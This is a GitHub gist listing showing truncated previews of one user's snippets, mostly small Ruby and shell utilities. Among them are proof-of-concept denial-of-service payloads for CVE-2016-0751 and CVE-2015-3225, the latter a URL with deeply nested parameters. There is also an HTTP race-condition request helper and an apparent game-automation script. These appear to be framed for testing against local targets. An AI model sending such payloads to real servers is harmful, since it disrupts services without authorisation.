Skip to content

Instantly share code, notes, and snippets.

🐓

mr.The mrThe

🐓
Block or report user

Report or block mrThe

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@mrThe
mrThe / port_open.rb
Created Jun 19, 2019
Ruby check if port_open?
View port_open.rb
def port_open?(host, port, timeout = 5)
addr = Socket.getaddrinfo(host, nil)
sockaddr = Socket.pack_sockaddr_in(port, addr[0][3])
Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket|
socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
begin
# Initiate the socket connection in the background. If it doesn't fail
# immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS)
@mrThe
mrThe / ip-up.sh
Last active May 31, 2017
Sanctions address /etc/ppp/ip-up
View ip-up.sh
# sudo touch /etc/ppp/ip-up
# sudo chmod 755 /etc/ppp/ip-up
# File content:
#!/bin/sh
# https://git.sysalex.com/snippets/7
# https://zaborona.help/ips.txt
@mrThe
mrThe / port_check.rb
Created Jan 23, 2017
Ruby #port_open?
View port_check.rb
def port_open?(host, port, timeout = 5)
addr = Socket.getaddrinfo(host, nil)
sockaddr = Socket.pack_sockaddr_in(port, addr[0][3])
Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket|
socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
begin
# Initiate the socket connection in the background. If it doesn't fail
# immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS)
@mrThe
mrThe / block.rb
Last active Nov 10, 2016
Text block generator
View block.rb
def block(str)
chars = str.upcase.chars
size = chars.size
result = Array.new(size) { Array.new(size) { ' ' } }
chars.each_with_index do |char, i|
result[0][i] = char
result[i][i] = char
result[i][0] = char
@mrThe
mrThe / Simple_http_race_condition_helper.rb
Created Aug 3, 2016
Simple http race condition helper. It can be more usable, but no one cares.
View Simple_http_race_condition_helper.rb
require 'socket'
def create_request(data)
host = '127.0.0.1'
port = 80
request = ''
request << "POST /something.json HTTP/1.1\r\n"
request << "Host: localhost\r\n"
# add here your headers
@mrThe
mrThe / CVE-2016-0751.rb
Created Jan 28, 2016
[PoC] CVE-2016-0751
View CVE-2016-0751.rb
# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc
require 'uri'
require 'net/http'
require 'securerandom'
uri = URI("http://localhost:3000/") # Target
10000.times do |i|
http = Net::HTTP.new(uri.host, uri.port)
View [PoC] CVE-2015-3225
https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc
http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a]
View keybase.md

Keybase proof

I hereby claim:

  • I am mrThe on github.
  • I am mrthe (https://keybase.io/mrthe) on keybase.
  • I have a public key whose fingerprint is 6D91 6D49 77DF B535 C969 B4F5 9648 F36A BF0A D2A5

To claim this, I am signing this object:

View gist:11040161
function Miner(incr, dripK, delay) {
var that = this;
this.incr = incr || localStats.bps*1e3;
this.dripK = dripK || 0.5;
this.delay = delay || 100;
document.hasFocus = function () {return true;};
NO_PINGY=1; // 'pingy' off
// Redefine postEvent
RestEventManager.prototype.postEventData = function(e,t,next)
@mrThe
mrThe / monitor.sh
Created Feb 10, 2014
Shell file changing monitor
View monitor.sh
# from: http://stackoverflow.com/questions/2972765/linux-script-that-monitors-file-changes-within-folders-like-autospec-does
#!/bin/bash
sha=0
previous_sha=0
update_sha()
{
sha=`ls -lR . | sha1sum`
You can’t perform that action at this time.